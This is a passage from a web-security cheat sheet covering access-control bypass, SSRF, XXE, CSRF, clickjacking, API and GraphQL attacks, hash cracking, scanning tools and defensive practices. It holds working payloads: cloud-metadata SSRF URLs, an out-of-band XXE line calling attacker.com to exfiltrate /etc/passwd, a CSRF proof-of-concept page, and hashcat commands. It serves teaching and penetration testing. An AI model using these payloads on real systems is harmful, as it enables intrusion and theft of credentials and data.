HTTP verb tampering	GET /admin/deleteUser → PUT /admin/deleteUser (different ACL check)
URL case variation	/Admin, /ADMIN — some frameworks check exact case
Endpoint parameter	/user?admin=true added to request
Referer-based bypass	Add Referer: https://target.com/admin header
Content-Type switching	Change to application/json from form — different code path
Forced browsing	Navigate directly to /admin/panel without going through menu
Old API version	/api/v1/admin instead of /api/v2/admin — old version no auth

PRIVILEGE ESCALATION VIA WEB

Role parameter	POST /user/update with role=admin in JSON body
Mass assignment	Register: {"username":"x","password":"y","is_admin":true}
Admin function access	Test /admin, /dashboard, /manage, /superuser while logged in as user
Feature flags	?debug=true, ?admin=1, ?test=true — hidden features
Password reset abuse	Reset admin password if reset token is predictable or leaked
Group/org switch	Change org_id or group_id parameter to target org's value

SSRF & XXE ATTACKS

SSRF — SERVER-SIDE REQUEST FORGERY

Basic SSRF	url=http://localhost/admin — server requests internal admin interface
AWS metadata	url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
GCP metadata	url=http://metadata.google.internal/computeMetadata/v1/ -H 'Metadata-Flavor: Googl
Azure metadata	url=http://169.254.169.254/metadata/instance?api-version=2021-02-01
Internal scan	url=http://192.168.1.1/ — scan internal network
Port scan	url=http://127.0.0.1:22/ — check SSH (connection refused vs timeout)
file:// scheme	url=file:///etc/passwd — read local files
dict:// scheme	url=dict://localhost:11211/ — Memcached interaction
gopher://	url=gopher://127.0.0.1:6379/_*1%0d%0a... — Redis/SMTP via gopher
DNS rebinding	Domain resolves to public IP first (passes check), then to 127.0.0.1

SSRF FILTER BYPASS

Decimal IP	http://2130706433/ (127.0.0.1 in decimal)
Octal IP	http://0177.0.0.1/ (127.0.0.1 in octal)
IPv6 localhost	http://[::1]/ or http://[0:0:0:0:0:0:0:1]/
Short IP	http://127.1/ (shorthand for 127.0.0.1)
Case variation	http://LocalHost/ — bypass case-sensitive filter
@ trick	http://attacker.com@127.0.0.1/ — goes to 127.0.0.1
# trick	http://127.0.0.1#attacker.com — fragment ignored by server
Double encoding	http://127.0.0.1%2F%2F
302 redirect	Attacker server redirects to internal IP after filter passes

XXE — XML EXTERNAL ENTITY INJECTION

Basic XXE - file read	<!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]><foo>&xxe;</foo>
SSRF via XXE	<!ENTITY xxe SYSTEM 'http://internal-server/admin'>],<foo>&xxe;</foo>
OOB (Blind) XXE	<!ENTITY % xxe SYSTEM 'http://attacker.com/evil.dtd'>%xxe;
evil.dtd content	<!ENTITY % file SYSTEM 'file:///etc/passwd'><!ENTITY % exfil '<!ENTITY send SYSTE
XXE to RCE (PHP)	<!ENTITY xxe SYSTEM 'expect://id'>
XXE via SVG upload	Upload SVG with XXE payload — server parses XML
XXE via XLSX	XLSX is ZIP of XMLs — inject XXE in xl/workbook.xml
XXE via docx	Word docs are ZIP+XML — inject into word/document.xml
Detection	Try <![CDATA[content]]> for encoding, or simple entity & → & in response

XXE PREVENTION & WHERE TO LOOK

Where to inject	Any XML input: SOAP APIs, SVG upload, SAML auth, RSS feeds, file upload
Content-Type	Change to text/xml or application/xml if JSON endpoint also accepts XML
Prevention	Disable external entities: PHP: libxml_disable_entity_loader(true)
Prevention	Java: factory.setFeature('http://xml.org/sax/features/external-general-entities'

CSRF & CLICKJACKING

CSRF — CROSS-SITE REQUEST FORGERY

What is CSRF	Tricks authenticated user's browser to make unwanted request to target site
Requirements	Victim must be authenticated + session cookie sent automatically
GET-based CSRF	<img src='https://target.com/transfer?to=attacker&amount=1000'>
POST-based CSRF	<form action='https://target.com/transfer' method='POST'><input name='to' value
JSON CSRF	<script>fetch('https://target.com/api/transfer',{method:'POST',credentials:'inc
CSRF Token bypass	Predict/leak token, use wrong token value, remove token param, use different us
Referer bypass	Remove Referer header or set to null: <meta name=referrer content=no-referrer>
SameSite bypass	Older browsers don't support SameSite. Gadget: subdomain XSS breaks SameSite=La

CSRF PROOF OF CONCEPT HTML

```
<html><body onload=document.forms[0].submit()>
  <form method='POST' action='https://target.com/account/change-email'>
    <input type='hidden' name='email' value='attacker@evil.com'>
    <input type='hidden' name='confirm_email' value='attacker@evil.com'>
  </form>
</body></html>
```

CSRF DEFENCES

CSRF Tokens	Random per-session/per-request token validated server-side. Most common
SameSite=Strict	Cookie not sent on cross-site requests. Best protection but may break OA
SameSite=Lax	Default in modern browsers. Sent on top-level navigation but not AJAX.
Double Submit Cookie	Token in cookie + request param must match. Simpler stateless defence.
Custom Request Header	X-Requested-With: XMLHttpRequest — CORS prevents cross-origin custom hea
Referer Validation	Check Referer matches expected origin. Can be bypassed (remove or null).
Re-authentication	For sensitive actions, require password entry — breaks CSRF chain.

CLICKJACKING

What is it	Transparent iframe over legitimate site tricks user into clicking
Basic PoC	<iframe src='https://target.com/settings' style='opacity:0;positio
Requires	Target site must not have X-Frame-Options or CSP frame-ancestors s
X-Frame-Options: DENY	Prevents all iframe embedding — strongest protection
X-Frame-Options: SAMEORIGIN	Only same-origin iframes allowed
CSP: frame-ancestors 'none'	Modern replacement for X-Frame-Options
Framebusting JS	if(top != self){top.location=self.location} — bypassable with sand
Detection	Try <iframe src=https://target.com> — if loads, potentially vulner

API SECURITY

OWASP API SECURITY TOP 10 (2023)

ID	Category	Description
API1	Broken Object Level Auth	Access other users' objects by changing ID — API IDOR (BOLA)
API2	Broken Authentication	Weak tokens, no rate limiting, poor JWT validation
API3	Broken Object Property	Mass assignment, over-exposed fields in response (excessive data)
API4	Unrestricted Resource Consumption	No rate limit → DoS, credit card abuse, scraping
API5	Broken Function Level Auth	Regular user calls admin functions /api/admin/deleteUser
API6	Unrestricted Access to Sensitive	Brute force OTP, buy unlimited, book >1 seat
API7	SSRF	API fetches external URL controlled by attacker
API8	Security Misconfiguration	CORS *, verbose errors, default creds, unnecessary methods
API9	Improper Inventory Management	Old /v1/ endpoints without auth, shadow APIs, beta APIs
API10	Unsafe API Consumption	Trusting 3rd party API responses without validation

API RECONNAISSANCE

curl -s https://target.com/api/v1/ | python3 -m json.tool
Explore base API path

curl -X OPTIONS https://target.com/api/users
Check allowed HTTP methods

ffuf -u https://target.com/api/FUZZ -w api_endpoints.txt
Endpoint discovery

ffuf -u https://target.com/api/v1/users/FUZZ -w numbers.txt
IDOR enumeration

cat package.json | grep -i api
Find API endpoints in source code

grep -r 'fetch\|axios\|http' --include='*.js' .
Find API calls in JS files

wget https://target.com/swagger.json
Swagger/OpenAPI spec — full API docs

https://target.com/api-docs /api/docs /swagger-ui.html
Common API doc paths

graphql introspection
{ __schema { types { name fields { name } } } }

Burp → Spider target
Auto-discover API endpoints from JS and links

GRAPHQL ATTACKS

Introspection	{ __schema { queryType { name } types { name fields { name } } } }
Disable introspection check	Try __schema even if disabled: __schema{queryType{name}}
Batch queries	[{query:'...'},{query:'...'}] — bypass rate limiting
Field suggestions	Typo in field name → suggestion reveals valid field names
IDOR via GraphQL	query { user(id:2) { email, password_hash } }
Mutations	mutation { deleteUser(id:1) { success } }
Alias bypass	Can rename query results to bypass WAF keyword detection
Clairvoyance	Tool to reconstruct GraphQL schema when introspection disabled

MASS ASSIGNMENT & OTHER API VULNS

Mass assignment	POST /api/register {"username":"x","role":"admin"} — extra field accepte
Excessive data	GET /api/user returns password_hash, internal_id, admin_notes — remove s
BOLA testing	GET /api/orders/100 → 101 → 102 with different user token
Method switching	Try GET instead of POST, DELETE instead of GET for same endpoint
API versioning	GET /api/v1/users may lack auth check that /api/v2/users has
Content-Type switch	application/json → text/xml → application/x-www-form-urlencoded

CRYPTOGRAPHY, TLS & HASHING

COMMON CRYPTO VULNERABILITIES

Hardcoded secrets	API keys, passwords, JWT secrets in source code/config
Weak hashing	MD5/SHA1 for passwords — rainbow table crack. Use bcrypt/Argon2.
Padding oracle	CBC mode padding errors reveal decrypt info → BEAST, POODLE
ECB mode	Same plaintext = same ciphertext → block pattern leaks data
Weak IV/Nonce	Reused or predictable IVs in CBC/CTR break confidentiality
Short key lengths	RSA < 2048, DES 56-bit — computationally breakable
SSL/TLS downgrade	Force older protocol: SSLv3 (POODLE), TLS 1.0 (BEAST)
Certificate validation	Missing hostname check, expired cert, self-signed accepted
Timing attacks	Measure response time to infer secret (constant-time compare needed)
Length extension	SHA-1/SHA-256 vulnerable — add data without knowing key

PASSWORD HASHING COMPARISON

Algorithm	Output	Notes
MD5	32 hex chars	Broken — GPU crack billions/sec. Never for passwords.
SHA-1	40 hex chars	Broken — collision attacks. Not for passwords.
SHA-256	64 hex chars	Fast — too fast for passwords. Use as HMAC only.
bcrypt	$2a$12$...	Adaptive. Work factor configurable. 60-char output.
scrypt	$s0$...	Memory-hard. Better than bcrypt for ASIC resistance.
Argon2id	$argon2id$	Winner PHC 2015. Memory+CPU hard. Recommended today.
PBKDF2	variable	NIST recommended. Configurable iterations. FIPS compliant.

HASH CRACKING COMMANDS

hashcat -a 0 -m 0 hashes.txt rockyou.txt
Crack MD5 with wordlist (-m 0=MD5)

hashcat -a 0 -m 100 hashes.txt rockyou.txt
Crack SHA1 (-m 100)

hashcat -a 0 -m 1800 hashes.txt rockyou.txt
Crack SHA512crypt (6) — Linux shadow

hashcat -a 0 -m 3200 hashes.txt rockyou.txt
Crack bcrypt ($2a$) — slow!

hashcat -a 3 -m 0 hash.txt ?a?a?a?a?a?a
Mask attack (brute force 6 chars)

hashcat -a 6 -m 0 hash.txt wordlist.txt ?d?d?d
Hybrid: word + 3 digits

john --wordlist=rockyou.txt hashes.txt
John the Ripper wordlist crack

john --format=bcrypt --wordlist=rockyou.txt hash
John crack bcrypt

hashid hash.txt
Identify hash type

hash-identifier
Interactive hash identifier

TLS TESTING COMMANDS

testssl.sh https://target.com
Comprehensive TLS/SSL testing

sslscan target.com
SSL/TLS version and cipher scan

nmap --script ssl-enum-ciphers -p 443 target
Nmap cipher enumeration

openssl s_client -connect target.com:443
Manual TLS connection inspection

openssl s_client -connect t.com:443 -tls1
Force TLS 1.0 (test downgrade)

WEB RECON & EXPLOITATION TOOLS

BURP SUITE — ESSENTIAL FEATURES

Proxy	Intercept & modify HTTP/HTTPS traffic. Set browser proxy: 127.0.0.1:8080
Repeater	Manually replay/modify individual requests. Right-click → Send to Repeater
Intruder	Automated fuzzing/brute force. 4 attack types: Sniper, Battering Ram, Pitchfork, Cl
Scanner	Active/passive vuln scanning. Pro feature. Finds SQLi, XSS, SSRF automatically.
Decoder	Encode/decode: URL, Base64, HTML, Hex. Essential for payload crafting.
Comparer	Diff two requests/responses. Identify blind injection by response changes.
Sequencer	Analyse randomness of session tokens. Low entropy = predictable sessions.
Target → Site Map	All discovered endpoints. Right-click for scans. Filter by host.
Match & Replace	Auto-modify headers/params in all requests (e.g., always add admin cookie)
Extensions	BApp Store: Autorize, CO2, Logger++, ActiveScan++, JS Beautifier, Turbo Intruder

NIKTO — WEB SERVER SCANNER

nikto -h https://target.com
Basic scan

nikto -h https://target.com -p 8443
Scan non-standard port

nikto -h https://target.com -o report.html -Format html
Save HTML report

nikto -h https://target.com -useproxy http://127.0.0.1:8080
Route through Burp

nikto -h https://target.com -Tuning 9
Only SQL injection tests (tuning=9)

nikto -h https://target.com -Plugins robots
Test only robots.txt misconfig

NUCLEI — TEMPLATE-BASED SCANNER

nuclei -u https://target.com
Scan with all default templates

nuclei -u https://target.com -t cves/
Scan for known CVEs only

nuclei -u https://target.com -t vulnerabilities/
Scan vulnerability templates

nuclei -u https://target.com -t exposures/
Find exposed sensitive files

nuclei -l urls.txt -t cves/ -severity critical,high
Batch scan, high severity only

nuclei -u https://target.com -t fuzzing/
Fuzzing templates (SQLi, XSS, etc.)

nuclei -update-templates
Update to latest templates

CURL — MANUAL HTTP REQUESTS

curl -v https://target.com
Verbose — show headers

curl -s -o /dev/null -w '%{http_code}' https://t.com
Get only status code

curl -X POST -d 'user=admin&pass=test' https://t.com/login
POST form data

curl -X POST -H 'Content-Type: application/json' -d '{"user":"admin"}' https://t.com/api
JSON POST

curl -H 'Authorization: Bearer TOKEN' https://t.com/api/me
Auth header

curl -b 'session=COOKIE' https://t.com/admin
Send cookie

curl -c cookies.txt -b cookies.txt https://t.com

HTTP SECURITY HEADERS & CORS

SECURITY RESPONSE HEADERS

Content-Security-Policy — `default-src 'self'; script-src 'self' https://trus`
Controls which resources browser can load. Mitigates XSS and data injection.

X-Content-Type-Options — `nosniff`
Prevents MIME sniffing. Browser must respect Content-Type.

X-Frame-Options — `DENY or SAMEORIGIN`
Prevents clickjacking by controlling iframe embedding.

Strict-Transport-Security — `max-age=31536000; includeSubDomains; preload`
Forces HTTPS for specified duration. Prevents SSL stripping.

Referrer-Policy — `strict-origin-when-cross-origin or no-referrer`
Controls how much referrer info is sent with requests.

Permissions-Policy — `camera=(), microphone=(), geolocation=(), payment=`
Controls browser features: camera, microphone, geolocation.

X-XSS-Protection — `1; mode=block (DO NOT USE — causes issues, rely o`
Legacy XSS filter (deprecated in modern browsers, use CSP instead).

Cache-Control — `no-store, no-cache, must-revalidate, private`
Prevent sensitive data caching.

Cross-Origin-Opener-Policy — `same-origin`
Isolates browsing context. Prevents cross-origin attacks via opener.

Cross-Origin-Embedder-Policy — `require-corp`
Requires CORP headers on resources. Enables process isolation.

Cross-Origin-Resource-Policy — `same-site or same-origin or cross-origin`
Controls cross-origin resource sharing at fetch level.

CORS — CROSS-ORIGIN RESOURCE SHARING

Access-Control-Allow-Origin: *	ANY origin can read response. CRITICAL if combined with credential
Access-Control-Allow-Origin: *■+credentials	IMPOSSIBLE — browsers block * with credentials:include
Origin reflection	Server echoes Origin header back — any origin gets access. Misconf
Null origin	Access-Control-Allow-Origin: null — triggerable via sandboxed ifra
Subdomain trust	*.target.com allowed — XSS on any subdomain = CORS bypass
Pre-flight bypass	Simple requests (GET/POST text/plain) skip OPTIONS pre-flight
CORS to steal data	fetch('https://target.com/api/profile',{credentials:'include'}).th
Test CORS	Add Origin: https://evil.com header — check response allows-origin

HEADER TESTING COMMANDS

curl -I https://target.com
Check security headers in response

curl -H 'Origin: https://evil.com' -I https://target.com
Test CORS misconfiguration

securityheaders.com
Online security header analysis

observatory.mozilla.org
Mozilla Observatory — grade security headers

python3 -c "import requests;r=requests.get('https://t.com');print(r.headers)"
Python header check

DEFENCES & SECURE CODING PRINCIPLES

INPUT VALIDATION & OUTPUT ENCODING

Whitelist validation	Accept only known-good values. Reject everything else. Not blacklist.
Parameterized queries	Prepared statements prevent SQL injection completely. Use everywhere.
ORM/Query builders	Django ORM, SQLAlchemy, Hibernate — safe by default if used correctly.
HTML entity encoding	Encode <>&"' before inserting into HTML context. Prevents XSS.
JavaScript encoding	Encode for JS context: \x3c for <. Don't just HTML encode in JS.
URL encoding	Encode special chars in URL params. Use urllib.parse.quote() etc.
Context-aware encoding	Different encoding needed for HTML/JS/CSS/URL/SQL contexts.
DOM XSS prevention	Use textContent not innerHTML. Avoid eval(), document.write().
File type validation	Check magic bytes not just extension. Use a library not your own code.
Path traversal prevention	Use os.path.realpath() and check it starts with allowed base dir.

AUTHENTICATION BEST PRACTICES

Password hashing	Use bcrypt, Argon2id, or scrypt. Never MD5/SHA1/unsalted.
MFA	Require TOTP/FIDO2 for sensitive accounts. SMS 2FA is better than nothi
Account lockout	Lock after N failed attempts. Exponential backoff. Alert user.
Secure session IDs	256-bit random. Regenerate after login. Invalidate server-side on logou
JWT best practices	Short expiry (15min). Refresh tokens. Validate alg, exp, iss. Use RS256
Credential stuffing protection	Rate limit, CAPTCHA, IP reputation checks, breach password check.
Password complexity	NIST SP 800-63B: length > complexity. Check against breach lists.
Secure password reset	Time-limited single-use token. Notify user by email. Don't reuse tokens

WAF, MONITORING & SAST/DAST

ModSecurity	Open-source WAF. OWASP Core Rule Set (CRS). Works with Apache/nginx/IIS.
Cloudflare WAF	Managed WAF rules. Bot management. Rate limiting. Easy to configure.
AWS WAF	Rules for ALB/CloudFront. Managed rule groups. IP reputation.
SAST	Static Application Security Testing. Finds vulns in source code without ru
DAST	Dynamic AST. Tests running app. OWASP ZAP, Burp Scanner, Acunetix, Netspar
IAST	Interactive AST. Agent in runtime. Most accurate. Commercial tools.
Dependency scanning	OWASP Dependency-Check, Snyk, GitHub Dependabot for vulnerable libraries.
Secrets scanning	GitLeaks, TruffleHog, GitHub secret scanning — find committed secrets.
SIEM	Log aggregation + correlation. Splunk, ELK Stack, Azure Sentinel.
Rate limiting	Nginx limit_req, API gateway throttling, token bucket algorithms.

SECURE DEVELOPMENT LIFECYCLE

Threat Modeling	STRIDE model. Identify assets, threats, mitigations before coding. OWAS
Security Requirements	Define auth, crypto, logging, error handling requirements upfront.
Secure Code Review	Manual + automated. Focus on: input handling, auth, crypto, secrets.
Penetration Testing	Black/grey/white box. Pre-prod and post-deploy. Fix findings, retest.
Bug Bounty	Ongoing crowdsourced testing. HackerOne, Bugcrowd, Intigriti, self-host
Principle of Least Privilege	DB user only needs SELECT. App process not root. Containers read-only F
Defence in Depth	Multiple layers: WAF + IDS + app validation + DB parameterized queries.
Security by Default	Secure defaults out of box. Require explicit opt-in for less secure opt